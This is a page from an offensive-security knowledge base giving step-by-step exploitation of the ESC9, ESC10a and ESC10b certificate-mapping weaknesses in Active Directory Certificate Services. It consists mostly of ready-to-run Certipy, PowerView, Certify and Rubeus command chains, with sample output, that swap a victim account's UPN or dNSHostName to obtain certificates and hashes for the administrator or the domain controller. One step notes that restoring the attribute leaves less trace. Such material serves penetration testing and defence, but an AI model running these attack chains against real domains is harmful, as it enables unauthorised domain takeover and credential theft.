# ADCS Exploitation: ESC9 and ESC10

> Exploits ADCS misconfigurations ESC9 (no-security-extension) & ESC10 (weak mapping) to abuse certificate templates for privilege escalation in AD environments.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/adcs-esc9-esc10
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-06-11
- **Updated:** 2026-08-11

ESC9 and ESC10 exploit weak certificate-to-account mapping on the DC. Both require GenericWrite on a domain account to modify its UPN before requesting a certificate. The issued certificate then maps to a different account when authenticated. These techniques rely on [confirmed ESC9 or ESC10 conditions](https://hackindex.io/platforms/active-directory/vulnerability-discovery/adcs-misconfiguration-discovery) before exploitation.

Prerequisites shared by both variants:

- GenericWrite on a victim domain account (to modify its UPN)
- `StrongCertificateBindingEnforcement` not set to 2 on the DC
- A certificate template vulnerable to ESC9 or ESC10 (identified by Certipy)
- Ability to request certificates and authenticate via PKINIT

## ESC9: UPN swap via NO_SECURITY_EXTENSION template

The template lacks `CT_FLAG_NO_SECURITY_EXTENSION`, meaning issued certificates contain no binding to the issuing account. By temporarily changing the victim's UPN to the target account's UPN and requesting a certificate, the issued cert contains the target UPN. Restore the victim's UPN and authenticate: the KDC maps the certificate to the target account.

Requires: GenericWrite on victim account + ESC9 template + `StrongCertificateBindingEnforcement != 2` on DC.

#### Kali (Certipy)

**ESC9 attack chain**

```bash
# Step 1: Change victim's UPN to target account
certipy account update -u $USER@$DOMAIN -p $PASSWORD -user $VICTIM -upn administrator@$DOMAIN -dc-ip $TARGET_IP

# Step 2: Request cert from ESC9 template as victim
# Certificate will embed 'administrator@$DOMAIN' as the UPN
certipy req -u $VICTIM@$DOMAIN -p $VICTIM_PASSWORD -ca $CA_NAME -template $ESC9_TEMPLATE -dc-ip $TARGET_IP

# Step 3: Restore victim's UPN (important: leaves less trace and restores victim auth)
certipy account update -u $USER@$DOMAIN -p $PASSWORD -user $VICTIM -upn $VICTIM@$DOMAIN -dc-ip $TARGET_IP

# Step 4: Authenticate: cert maps to administrator due to UPN and no security extension
certipy auth -pfx administrator.pfx -domain $DOMAIN -dc-ip $TARGET_IP
# # Step 1:
# [*] Updating user '$VICTIM'
# [*] Successfully updated 'userPrincipalName' to 'administrator@corp.local'
#
# # Step 2:
# [*] Saved certificate and private key to 'administrator.pfx'
#
# # Step 4:
# [*] Got hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889
```

#### Windows (PowerView)

**ESC9: UPN modification from Windows**

```powershell
# Step 1: Modify victim UPN via PowerView
Set-DomainObject -Identity $VICTIM -Set @{'userPrincipalName'='administrator@$DOMAIN'}

# Step 2: Request certificate from Certify
Certify.exe request /ca:$CA_HOST\$CA_NAME /template:$ESC9_TEMPLATE

# Step 3: Restore victim UPN
Set-DomainObject -Identity $VICTIM -Set @{'userPrincipalName'='$VICTIM@$DOMAIN'}

# Step 4: Convert and authenticate
.\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /ptt
```

## ESC10a: weak binding enforcement, any template

When `StrongCertificateBindingEnforcement = 0` on the DC, no template flag is required. Any certificate with a UPN matching a domain account authenticates as that account. The attack chain is identical to ESC9 but any client-authentication template works: not limited to templates with `NO_SECURITY_EXTENSION`.

Requires: GenericWrite on victim account + `StrongCertificateBindingEnforcement = 0` on DC.

#### Kali (Certipy)

**ESC10a attack chain**

```bash
# Step 1: Change victim UPN to target
certipy account update -u $USER@$DOMAIN -p $PASSWORD -user $VICTIM -upn administrator@$DOMAIN -dc-ip $TARGET_IP

# Step 2: Request any client-auth certificate as victim
# Template 'User' works here: no special template flag needed
certipy req -u $VICTIM@$DOMAIN -p $VICTIM_PASSWORD -ca $CA_NAME -template User -dc-ip $TARGET_IP

# Step 3: Restore victim UPN
certipy account update -u $USER@$DOMAIN -p $PASSWORD -user $VICTIM -upn $VICTIM@$DOMAIN -dc-ip $TARGET_IP

# Step 4: Authenticate as administrator
certipy auth -pfx $VICTIM.pfx -domain $DOMAIN -dc-ip $TARGET_IP
# [*] Successfully updated 'userPrincipalName' to 'administrator@corp.local'
# [*] Saved certificate and private key to '$VICTIM.pfx'
# [*] Got hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889
```

#### Windows (PowerView)

**ESC10a from Windows**

```powershell
# Modify UPN: any template with client auth works
Set-DomainObject -Identity $VICTIM -Set @{'userPrincipalName'='administrator@$DOMAIN'}
Certify.exe request /ca:$CA_HOST\$CA_NAME /template:User
Set-DomainObject -Identity $VICTIM -Set @{'userPrincipalName'='$VICTIM@$DOMAIN'}
.\Rubeus.exe asktgt /user:administrator /certificate:$VICTIM.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /ptt
```

## ESC10b: SubjectName mapping (CertificateMappingMethods)

When `CertificateMappingMethods` includes the SubjectName bit (`0x4`) or Issuer+Subject bit (`0x2`), the DC maps certificates using the Subject CN or Subject/Issuer pair in addition to UPN. With GenericWrite on an account, modify the victim's `dNSHostName` attribute (for computer accounts) or UPN to match the target. The issued certificate maps to the target account via the legacy SubjectName mapping path.

Requires: `CertificateMappingMethods` with legacy bits + GenericWrite on a computer account.

#### Kali (Certipy)

**ESC10b: dNSHostName swap on computer account**

```bash
# Requires GenericWrite on a computer account (not just a user)
# Step 1: Save current dNSHostName and change to match DC
certipy account update -u $USER@$DOMAIN -p $PASSWORD -user $TARGET_COMPUTER -dns $DC_FQDN -dc-ip $TARGET_IP

# Step 2: Request machine certificate: Subject CN will now match DC's DNS name
certipy req -u $TARGET_COMPUTER\$@$DOMAIN -p $COMPUTER_PASSWORD -ca $CA_NAME -template Machine -dc-ip $TARGET_IP

# Step 3: Restore dNSHostName
certipy account update -u $USER@$DOMAIN -p $PASSWORD -user $TARGET_COMPUTER -dns $TARGET_COMPUTER.$DOMAIN -dc-ip $TARGET_IP

# Step 4: Authenticate: maps to DC via SubjectName
certipy auth -pfx dc01.pfx -domain $DOMAIN -dc-ip $TARGET_IP
# [*] Got hash for 'dc01$@corp.local': fc525c9683e8fe067095ba2ddc971889
```

## References

- [Certipy (GitHub)](https://github.com/ly4k/Certipy) - account update -upn/-dns, req, auth commands for ESC9/ESC10 chains
- [Certipy 4.0: ESC9, ESC10 (ly4k)](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-new-adcs-and-domain-escalation-techniques-34d1c26f0dc6) - Original research introducing ESC9 and ESC10 with full attack chain documentation
- [Certified Pre-Owned: SpecterOps](https://posts.specterops.io/certified-pre-owned-d95910965cd2) - Original ESC taxonomy reference (ESC1-ESC8)
